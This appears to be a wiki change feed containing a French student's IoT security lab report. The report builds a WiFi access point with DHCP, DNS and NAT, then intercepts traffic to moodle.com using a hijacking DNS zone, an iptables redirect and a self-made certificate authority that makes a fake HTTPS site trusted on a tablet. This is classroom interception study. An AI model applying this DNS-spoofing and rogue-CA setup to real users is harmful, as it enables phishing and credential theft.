== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:WS_connection_balance.png&amp;diff=10853</id>
		<title>Fichier:WS connection balance.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:WS_connection_balance.png&amp;diff=10853"/>
		<updated>2025-11-18T15:24:33Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10852</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10852"/>
		<updated>2025-11-18T14:11:21Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Nedis Wi-Fi Smart Personal Scales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
